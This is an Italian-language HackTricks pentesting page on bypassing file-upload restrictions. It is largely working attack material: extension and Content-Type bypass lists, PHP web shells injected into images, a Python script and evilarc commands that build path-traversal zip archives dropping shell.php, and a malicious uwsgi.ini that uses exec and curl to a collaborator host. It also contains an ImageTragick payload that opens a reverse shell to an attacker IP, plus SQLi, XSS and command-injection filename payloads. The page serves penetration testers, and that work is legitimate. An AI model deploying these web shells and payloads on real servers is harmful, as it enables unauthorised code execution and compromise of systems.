.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
File Upload
{% hint style="success" %}
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Se sei interessato a una carriera nell'hacking e a hackare l'inhackabile - stiamo assumendo! (richiesta di polacco fluente scritto e parlato).
{% embed url="https://www.stmcyber.com/careers" %}
File Upload General Methodology
Altre estensioni utili:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Funzionamento in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Bypass file extensions checks
- Se applicabili, controlla le estensioni precedenti. Prova anche a usarle con alcune lettere maiuscole: pHp, .pHP5, .PhAr ...
- Controlla aggiungendo un'estensione valida prima dell'estensione di esecuzione (usa anche le estensioni precedenti):
- file.png.php
- file.png.Php5
- Prova ad aggiungere caratteri speciali alla fine. Puoi usare Burp per bruteforce tutti i caratteri ascii e Unicode. (Nota che puoi anche provare a usare le estensioni precedentemente menzionate)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Prova a bypassare le protezioni ingannando il parser delle estensioni del server con tecniche come raddoppiare l'estensione o aggiungere dati spazzatura (byte nulli) tra le estensioni. Puoi anche usare le estensioni precedenti per preparare un payload migliore.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Aggiungi un altro livello di estensioni al controllo precedente:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Prova a mettere l'estensione di esecuzione prima dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione** .php, ma non necessariamente che termina in .php** eseguirà codice):
- es: file.php.png
- Usando NTFS alternate data stream (ADS) in Windows. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un file vuoto con l'estensione vietata verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il modello “::$data” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo modello potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
- Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
# Linux massimo 255 byte
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
# Carica il file e controlla la risposta su quanti caratteri consente. Diciamo 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crea il payload
AAA<--SNIP 232 A-->AAA.php.png
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type controlli impostando il valore dell'intestazione Content-Type a: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number controllo aggiungendo all'inizio del file i byte di una vera immagine (confondere il comando file). Oppure introduci la shell all'interno dei metadati:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
oppure potresti anche introdurre il payload direttamente in un'immagine:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Se compressione viene aggiunta alla tua immagine, ad esempio utilizzando alcune librerie PHP standard come PHP-GD, le tecniche precedenti non saranno utili. Tuttavia, potresti usare la tecnica del chunk PLTE definita qui per inserire del testo che sopravviverà alla compressione.
- Github con il codice
- La pagina web potrebbe anche ridimensionare l'immagine, utilizzando ad esempio le funzioni PHP-GD
imagecopyresized
oimagecopyresampled
. Tuttavia, potresti usare la tecnica del chunk IDAT definita qui per inserire del testo che sopravviverà alla compressione. - Github con il codice
- Un'altra tecnica per creare un payload che sopravvive a un ridimensionamento dell'immagine, utilizzando la funzione PHP-GD
thumbnailImage
. Tuttavia, potresti usare la tecnica del chunk tEXt definita qui per inserire del testo che sopravviverà alla compressione. - Github con il codice
Other Tricks to check
- Trova una vulnerabilità per rinominare il file già caricato (per cambiare l'estensione).
- Trova una vulnerabilità di Local File Inclusion per eseguire il backdoor.
- Possibile divulgazione di informazioni:
- Carica più volte (e allo stesso tempo) lo stesso file con lo stesso nome
- Carica un file con il nome di un file o cartella che esiste già
- Caricando un file con “.”, “..”, o “…” come nome. Ad esempio, in Apache in Windows, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
- Carica un file che potrebbe non essere facilmente eliminato come “…:.jpg” in NTFS. (Windows)
- Carica un file in Windows con caratteri non validi come
|<>*?”
nel suo nome. (Windows) - Carica un file in Windows utilizzando nomi riservati (vietati) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Prova anche a caricare un eseguibile (.exe) o un .html (meno sospetto) che eseguirà codice quando accidentalmente aperto dalla vittima.
Special extension tricks
Se stai cercando di caricare file su un server PHP, dai un'occhiata al trucco .htaccess per eseguire codice.
Se stai cercando di caricare file su un server ASP, dai un'occhiata al trucco .config per eseguire codice.
I file .phar
sono come i .jar
per java, ma per php, e possono essere utilizzati come un file php (eseguendolo con php, o includendolo all'interno di uno script...)
L'estensione .inc
è a volte utilizzata per file php che sono solo utilizzati per importare file, quindi, a un certo punto, qualcuno potrebbe aver consentito l'esecuzione di questa estensione.
Jetty RCE
Se puoi caricare un file XML su un server Jetty puoi ottenere RCE perché nuovi *.xml e *.war vengono elaborati automaticamente. Quindi, come menzionato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/
e aspettati la shell!
uWSGI RCE
Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: uWSGI RCE Exploitation.
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione .ini
. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come @(filename)
, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione .ini
viene elaborato.
Considera il seguente esempio di un file uwsgi.ini
dannoso, che mostra vari schemi:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
L'esecuzione del payload avviene durante l'analisi del file di configurazione. Affinché la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco di Denial of Service) oppure il file deve essere impostato per il caricamento automatico. La funzione di caricamento automatico, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche.
È fondamentale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente l'ambito di potenziale sfruttamento.
wget File Upload/SSRF Trick
In alcune occasioni potresti scoprire che un server sta utilizzando wget
per scaricare file e puoi indicare l'URL. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, questo controllo può essere eluso.
La lunghezza massima di un nome file in linux è 255, tuttavia, wget tronca i nomi dei file a 236 caratteri. Puoi scaricare un file chiamato "A"*232+".php"+".gif", questo nome file eluderà il controllo (poiché in questo esempio ".gif" è un'estensione valida) ma wget
rinominerà il file in "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Nota che un'altra opzione che potresti considerare per bypassare questo controllo è far sì che il server HTTP reindirizzi a un file diverso, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo non funzionerà a meno che wget non venga utilizzato con il parametro --trust-server-names
perché wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale.
Strumenti
- Upload Bypass è uno strumento potente progettato per assistere i Pentester e i Bug Hunter nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
Da upload di file ad altre vulnerabilità
- Imposta filename su
../../../tmp/lol.png
e prova a ottenere un path traversal - Imposta filename su
sleep(10)-- -.jpg
e potresti essere in grado di ottenere una SQL injection - Imposta filename su
<svg onload=alert(document.domain)>
per ottenere un XSS - Imposta filename su
; sleep 10;
per testare alcune iniezioni di comandi (altri trucchi di iniezione di comandi qui) - XSS nel caricamento di file immagine (svg)
- JS file upload + XSS = exploitation di Service Workers
- XXE in upload svg
- Open Redirect tramite upload di file svg
- Prova diversi payload svg da https://github.com/allanlw/svg-cheatsheet****
- Famosa vulnerabilità ImageTrick
- Se puoi indicare al server web di catturare un'immagine da un URL potresti provare ad abusare di un SSRF. Se questa immagine verrà salvata in qualche sito pubblico, potresti anche indicare un URL da https://iplogger.org/invisible/ e rubare informazioni di ogni visitatore.
- XXE e CORS bypass con upload PDF-Adobe
- PDF appositamente creati per XSS: La seguente pagina presenta come iniettare dati PDF per ottenere l'esecuzione di JS. Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni fornite.
- Carica il [eicar](https://secure.eicar.org/eicar.com.txt) contenuto per controllare se il server ha qualche antivirus
- Controlla se c'è qualche limite di dimensione nel caricamento dei file
Ecco una lista delle 10 cose che puoi ottenere caricando (da qui):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: XSS memorizzato / SSRF / XXE
- GIF: XSS memorizzato / SSRF
- CSV: iniezione CSV
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : iniezione HTML / XSS / Open redirect
- PNG / JPEG: attacco pixel flood (DoS)
- ZIP: RCE tramite LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Estensione Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Fai riferimento a https://en.wikipedia.org/wiki/List_of_file_signatures per altri tipi di file.
Upload di file Zip/Tar automaticamente decompresso
Se puoi caricare un ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
Symlink
Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompresso accederai ai file collegati:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Decompress in different folders
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttate. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
Un exploit automatizzato per creare tali file è disponibile su evilarc su GitHub. L'utilità può essere utilizzata come mostrato:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Inoltre, il trucco del symlink con evilarc è un'opzione. Se l'obiettivo è mirare a un file come /flag.txt
, è necessario creare un symlink a quel file nel proprio sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusare della compressione per il file spraying
Per ulteriori dettagli controlla il post originale in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creazione di una Shell PHP: Il codice PHP è scritto per eseguire comandi passati attraverso la variabile
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying e Creazione di File Compressi: Vengono creati più file e viene assemblato un archivio zip contenente questi file.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modifica con un Editor Hex o vi: I nomi dei file all'interno dello zip vengono modificati utilizzando vi o un editor hex, cambiando "xxA" in "../" per attraversare le directory.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità (ImageMagick , 7.0.1-1) (forma dell'exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Embedding PHP Shell on PNG
Incorporare una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente certe operazioni di elaborazione delle immagini. Le funzioni imagecopyresized
e imagecopyresampled
di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: "Encoding Web Shells in PNG IDAT chunks". Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
Maggiore informazione in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un GIFAR, un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiamento; combinazioni come GIF e JS o PPT e JS sono anche fattibili.
L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
Maggiore informazione in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.